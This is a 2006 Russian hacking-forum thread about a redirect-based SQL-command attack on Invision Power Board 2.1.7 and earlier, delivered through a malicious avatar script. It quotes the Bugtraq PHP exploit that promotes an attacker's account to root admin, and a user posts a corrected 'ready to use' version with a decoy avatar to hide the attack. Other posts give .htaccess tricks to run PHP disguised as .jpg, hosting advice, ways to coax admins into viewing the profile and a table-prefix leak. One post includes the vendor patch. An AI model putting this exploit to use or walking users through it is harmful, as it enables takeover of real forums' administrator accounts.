Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   sql-inj в ipb <=2.1.7 (https://forum.antichat.xyz/showthread.php?t=25088)

Digimortal 09.10.2006 00:31

sql-inj в ipb <=2.1.7
 
Итак, в среду на багтраке появилось сообщение об уязвимости IPB <=2.1.7.
Уязвимым оказался скрипт кп админки. Если поставить вместо ссылки на аватару ссылку на пхп-сплоит, то при просмотре админом (это должен быть рут-админ) акка пользователя через контрпанельку имеется возможность выполнить скуль-комманды через IPB's SQL Toolbox.

Вот сам текст с багтрака:

Цитата:

From: Rapigator <rapigator_at_yahoo.com>
Date: Wed, 4 Oct 2006 11:58:38 -0700 (PDT)

Invision Power Board Multiple Vulnerabilities
Affects: IPB <=2.1.7
Risk: High

An attack exists where an admin can be redirected and
forced to execute SQL commands through IPB's SQL
Toolbox.

The following requirements must be met for this attack
to take place:
- The database table prefix must be known
- The admin must have access to the SQL Toolbox (any
"root admin")
- The admin must have images and referers turned on in
their browser, and their browser must follow Location
headers (default behaviour for most browsers)
- The admin must view a malicious script as an image
in their browser.

This attack works invisibly to the admin because only
the image is redirected, not the page.


1st method:
In this method, any user can force the admin to
execute SQL commands.

1. A user sets their avatar to the malicious script's
address
2. The admin looks up the user's account in the Admin
CP
3. The user's avatar is shown and the admin is
redirected....


2nd method:
A restricted admin can add any HTML to a forum's
description(including javascript).

1. A restricted admin adds the malicious script as an
image to a forum's description.
2. Upon going to the "Manage Forums" link in Admin CP,
an unrestricted admin will be redirected and the SQL
will be executed.


Example malicious image script:
<?php

//The member id to promote to root admin
$mid = 145;

//The database prefix (usually "ibf_")
$prefix = "ibf_";

if (preg_match('/(.*adsess=[\\w]{32})/',
$_SERVER['HTTP_REFERER'], $admin_loc) and $mid)
{
header("Location:
".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}membe rs+SET+mgroup%3D4+where+id%3D{$mid}+LIMIT+1");
}

?>

http://seclists.org/bugtraq/2006/Oct/0049.html
Уязвимы версии:
Invision Power Board 2.0.x
Invision Power Board 2.1.0 - 2.1.7
Invision Power Board 2.2 Beta 1

Неуязвимы:
Invision Power Board 2.1.7 (ID: 21013.61005.s)
Invision Power Board 2.2 Beta 2

Делитесь тут мыслями по поводу этой баги. Сам я еще не испытывал..

gemaglabin 09.10.2006 00:34

Бугага ;) в Sql Toolboxе запрос передается ПОСТом..несколькими днями ранее я говорил с амером с милворма он мне про это рассказывал ;)

_-[A.M.D]HiM@S-_ 09.10.2006 02:42

Я немогу понять тут $mid = 145; надо прописать id Рута или id свой ???

Qwazar 09.10.2006 09:11

Судя по "SET mgroup=4" (SET+mgroup%3D4) - свой. (Не помню, вроде 4 это и есть права админа, которые устанавливаются для мембера с mid=$mid).

З.Ы.
Вообще там есть коммент:
//The member id to promote to root admin

(ну это для тех, чей мозговой парсер комменты не пропускает)

Rebz 09.10.2006 14:32

единственное решение можно предложить - поменять группу админов с 4 на какую-нить другую. Вряд ли злоумышленник (кидис который даже не въехал как работает сплоит, имхо 80% таких) нифига ничего не получит -)

Rebz 09.10.2006 14:37

Заплатка для ipb IPB 2.1.x
 
Ручное исправление уязвимостей от 05.10.06

Файл ./sources/action_admin/member.php, найти код:
Код
Код:

            //-----------------------------------------
            // Avatar?
            //-----------------------------------------

            if ( $r['avatar_location'] and $r['avatar_type'] )
            {
                $avatar = $this->ipsclass->get_avatar( $r['avatar_location'], 1, '25x25', $r['avatar_type'] );

                if ( ! strstr( $avatar, 'width=' ) )
                {
                    $avatar = str_replace( '<img', "<img width='25' height='25'", $avatar );
                }
            }
            else
            {
                $avatar = "<img src='{$this->ipsclass->skin_url}/images/memsearch_head.gif' border='0' />";
            }

заменить на:
Код
Код:

            //-----------------------------------------
            // Avatar?
            //-----------------------------------------

            //-----------------------------------------
            // SECURITY UPDATE: Removing  user avatar
            //-----------------------------------------

            $avatar = "<img src='{$this->ipsclass->skin_url}/images/memsearch_head.gif' border='0' />";

источник:
http://www.ibresource.ru/forums/index.php?showtopic=36607

BMaster 09.10.2006 19:01

Подскажите что не так пожалуйста:
скрипт выполняется как картинка, т.е http://localhost/g.jpg кажет phpinfo(); ;)

На форуме редактирую профиль, указываю в поле "Введите ссылку на файл вашего аватара" ссылку, потом захожу под руут админом, смотрю профиль юзера тестера, перехода не происходит, и запросы не выполняются, show table; аналогично нигде не выполняется, что не так?
p.s просматривая профиль тестер юзера в админпанеле, тоже редиректа не происходит, даже если правой кнопкой щелкнуть на открыть изображение, запросы не выполняются.

arts 09.10.2006 21:09

А как картинку с пчп кодом сделать?

BMaster 09.10.2006 21:29

Переименовать пхп файл, в *.jpg gif..
в .htaccess добавить
<Files "u.jpg">
AddType application/x-httpd-php .jpg
</Files>
либо на край в httpd.conf добавить к application/x-httpd-php тип .jpg :)

Qwazar 10.10.2006 09:59

Сам не пробовал, но если то что написано тут:

Цитата:

Сообщение от gemaglabin
Бугага ;) в Sql Toolboxе запрос передается ПОСТом..несколькими днями ранее я говорил с амером с милворма он мне про это рассказывал ;)

является правдой, то, если я не ошибаюсь, нужно использовать curl, пример:

PHP код:

<?php 
$ch 
curl_init();  
curl_setopt($chCURLOPT_URL,$url);  
curl_setopt($chCURLOPT_POST1);  
curl_setopt($chCURLOPT_POSTFIELDS$fields);  
curl_exec ($ch);  
curl_close ($ch);  
?>


BMaster 10.10.2006 18:50

Разобрался я с этим експлойтом, прет кук из админпанели и добавляет к нему запрос сэквел, мне понравилось :)
У кого что то не получается расскажу что нужно сделать чтобы получилось :)
Как сделать чтобы скрыть под avatar.jpg пхп скрипт думаю ясно, но скопировав предоставленный эксплойт и даже подставив нужные значения, ничего не выйдет, там есть небольшая хитрость (может просто случайность) в строке:
Код:

  header("Location:  ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where+id%3D{$mid}+LIMIT+1");
Нужно удалить лишний знак табуляции и выровнять строку так:
l
Код:

header("Location: ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where+id%3D{$mid}+LIMIT+1");
:)
Заодно предоставлю следующий вариант, чтобы у админов не вызывал подозрения не отображающийся аватар, допишем строчку в сплойт (сплойт готовый к употреблению):
Код:

<?php 
$mid = 2
if (preg_match('/(.*adsess=[\\w]{32})/',  $_SERVER['HTTP_REFERER'], $admin_loc) and $mid) 
{  header("Location: ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+ibf_members+SET+posts%3D12897+WHERE+id%3D2");  }
else { header("Location: http://forum.xxx/forum/uploads/av-xx.jpg"); }
?>

Тестировочный сплойт, который станавливает юзеру с id=2 количество постов 12897, чтобы получить права админа вставляем запрос из официального сплойта :)
Сработает только тогда, когда админ посмотрит профиль юзера из Админпанели :)
p.s Если админ посмотри профиль в браузере konqueror вас ждет разочарование :)

Nekt 14.10.2006 03:25

Все происходит на локалке. ;)
Ну я закачал обычную аватару, изменил на пхп код, смотрю админом картику... Ноль не чего, и я тута решил дожлно отображатьса инфа о пхп, и тута я поменял код... Снова ноль ! Что я тока не пробывал. Помогите, а? :mad:

BMaster 19.10.2006 00:50

Вообщем сделал видео с небольши но:
Так как не одного дельного совета не было:

http://forum.antichat.ru/threadnav17208-2-10.html

Видео на 40 мег в раре, само занимает 70 мег, идет 19 минут.
Это полная версия, и соостветственно кто хочет качает, кто не хочет не качает :)

Немногим позже подготовлю порезанную версию, т.е просто вырежу кадры где например у меня довольно долго рестартится сервер, из за требовательных ресурсов
xvidcap, то как набираю там текст к комментариям...
Просто останутся основные кадры, смысл не потеряется :)

http://rapidshare.de/files/37256566/sql_inj_ipb_2.1.7_and_early_from_BMaster_Full_vers ion.rar

в ссылке убрать пробел в слове version хз откуда он там :)
AVI, 1022 x 766, 7.00 fps, video: Microsoft MPEG-4 v2

p.s Видео демонстрирует уязвимость форума, который находится на localhost, и соответственно хост тоже локальный.
p.p.s имхо camstudio вроде тоже не может захватывать без кодирования, он тоже использует компрессор по дефолту microsoft video 1.
т.о если это так, то факи написаны немного не точно :)

_-[A.M.D]HiM@S-_ 23.10.2006 01:25

Вот переснял видео для деалапщиков :
_http://kolokol.ho.com.ua/video/ibp.2.1.7.rar

BMaster 23.10.2006 14:23

Вообщем качество/размер лучше этого не могу подобрать, обрезать ничего не стал, просто пожал немного.

http://rapidshare.com/files/343881/sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar

8мег.
Хостингов для помощи использования этой уязвимости много, fatal.ru тому пример, недавно тестил, все работает.
.htaccess если нет, то создаем.

Konstant!n 24.10.2006 16:12

Если можно выложите файл .htacces как он должен выглядеть!
заранее спасибо.

_-[A.M.D]HiM@S-_ 24.10.2006 16:27

Цитата:

Сообщение от Konstant!n
Если можно выложите файл .htacces как он должен выглядеть!
заранее спасибо.


в .htaccess добавить
<Files "u.jpg">
AddType application/x-httpd-php .jpg
</Files>

BMaster 26.10.2006 16:24

Вы о чем?
Н чужом хосте отредактировать файл .htaccess можно запросто, если ты зарегистрировал свой сайт на предоставляющем тебе хостинг сайте :)
А если не зарегистрировал то конечно никак не отредактируешь :)

Если кто так и не понял... НЕ На форуме, который вы хотите протестировать/хакнуть, НЕ на сервере на котором находится этот форум НИЧЕГО создавать, редактировать кроме как профиля своего юзера НЕ нужно.

Ищите в нете хостинг платный/бесплатный/поднимаете свой/... который поддерживает php и где есть поддержка .htaccess файлов...
Пример для незнающих fatal.ru и все, больше ничего не нужно.

_-[A.M.D]HiM@S-_ 26.10.2006 21:37

Некотрые регят себе сайт на хостинге бесплатном при этом незная что за такой файлик : .htaccess

Ksander 26.10.2006 21:51

Цитата:

Сообщение от _-[A.M.D]HiM@S-_
Некотрые регят себе сайт на хостинге бесплатном при этом незная что за такой файлик : .htaccess


.htaccess – это файл, который дает возможность конфигурировать работу сервера в отдельных директориях (папках), не предоставляя доступа к главному конфигурационному файлу. Например, устанавливать права доступа к файлам в директории, менять названия индексных файлов, самостоятельно обрабатывать ошибки Apache, перенаправляя посетителей на специальные страницы ошибок.

Vilen 27.10.2006 02:43

нда, одну проблему решили, теперь блин попробуй заставь админа навести на твой аватар.
вопрос таков :
он навести должен на твой аватар ?
глянуть твою тему просто с твоим аватаром ?
или как вообще ? :)

_-[A.M.D]HiM@S-_ 27.10.2006 03:06

Цитата:

Сообщение от Vilen
нда, одну проблему решили, теперь блин попробуй заставь админа навести на твой аватар.
вопрос таков :
он навести должен на твой аватар ?
глянуть твою тему просто с твоим аватаром ?
или как вообще ? :)

_http://rapidshare.com/files/343881/sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar

Vilen 27.10.2006 04:24

Значит надо чтобы админ проссмотрел твой профиль из админки.
Но почему то у меня из мозилы не пахало. Из оперы и ИЕ всё гуд.
Да насчёт подписи, я бы в админку не лез, я бы прямо с форуме убрал бы её ;)

Serafim 27.10.2006 15:12

Есть форум...Аву по урл нельзя вставлять только можно грузить с компа,а вот фотку можно...Вопрос можно ли через фото это зделать или только через аватар?А и ище момент: Файли должен бить на своём форуме ипб?И имейдж тоже должен с ипб быть?

_-[A.M.D]HiM@S-_ 27.10.2006 19:11

Цитата:

Сообщение от Serafim
Есть форум...Аву по урл нельзя вставлять только можно грузить с компа,а вот фотку можно...Вопрос можно ли через фото это зделать или только через аватар?А и ище момент: Файли должен бить на своём форуме ипб?И имейдж тоже должен с ипб быть?

Помойму с компа тебе неудаться загрузить аватарку с содержимым.Форум проверяет аватар на наличее вредноносного кода :)

Серёга2 27.10.2006 20:34

Цитата:

Если кто так и не понял... НЕ На форуме, который вы хотите протестировать/хакнуть, НЕ на сервере на котором находится этот форум НИЧЕГО создавать, редактировать кроме как профиля своего юзера НЕ нужно.
сам же сказал что .htaccess надо
к тому же если права грамотно стоят, то не прокатит

CaH9 27.10.2006 20:35

я брал код с сайта где можно через url и вставлял его на место того где незя , ток там адресс сайта в коде менял и все ок было !

Serafim 30.10.2006 20:19

Цитата:

Сообщение от _-[A.M.D]HiM@S-_
Помойму с компа тебе неудаться загрузить аватарку с содержимым.Форум проверяет аватар на наличее вредноносного кода :)

Уже протестил и понял :) А вот насчет "Момента"? :)

bxN5 30.10.2006 20:55

У кого ето работало не на локалке?
Автор сними видео о том как ты делаеш ето в инете плз.

}{0TT@БЬ)Ч 30.10.2006 22:20

Цитата:

Сообщение от dala$$
У кого ето работало не на локалке?
Автор сними видео о том как ты делаеш ето в инете плз.

Dala$$ разницы нет на чем показывать все одинакого.Если что то не получилось спрашивай поможем.

}{0TT@БЬ)Ч 31.10.2006 21:42

Fr-Ron а .htaccess создавал?

Twister 31.10.2006 22:14

Цитата:

Сообщение от dala$$
У кого ето работало не на локалке?
Автор сними видео о том как ты делаеш ето в инете плз.

Этож геморойство, админ может только на след. день заглянуть на форум, тем более в админ. панель

nightmare007 31.10.2006 22:24

народ...кто нить, перезалейте sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar на каконибуть другой сервак ...чото с рапидой траблы

Little_W 31.10.2006 22:40

Цитата:

Сообщение от nightmare007
народ...кто нить, перезалейте sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar на каконибуть другой сервак ...чото с рапидой траблы

http://www.rapidshare.ru/88941

Fr-Ron 01.11.2006 16:53

Цитата:

Fr-Ron а .htaccess создавал?
На локалке он есть от апача, но я его не менял даже.
А на ИБП ведь кроме проифя ниче юзать не надо...

}{0TT@БЬ)Ч 02.11.2006 00:03

Fr-Ron правельно на взлаемом форуме ничего кроме профеля менять не надо НО надо разместить свою аватарку на бесплатном/платном хостинге и там уже создавать файл .htaccess.

Nekt 03.11.2006 20:52

Попробуй измени на красную подпись аватары и 7 шрифт. Иногда прокатывает, моно еще
как нить поиздеваться, типа хочу модером, или ...
Таких вариантов многов, но конечно нуна зарегать новый аккуант и написать куча всего что-бы не показаться страннымю

Tflash 07.11.2006 17:50

Возникает законный вопрос: как узнать префикс базы данных?

Fr-Ron 07.11.2006 17:53

Tflash

/forum/index.php?act=Online&st=-1

А там уж смотришь:
.......FROM ibf_sessions.........

}{0TT@БЬ)Ч 08.11.2006 01:36

Баг заключается в недостаточной фильтрации переменной st в списке "кто онлайн"
С уязвимости в параметре st вроде тока можно поиметь раскрытие префикса БД.


Время: 01:27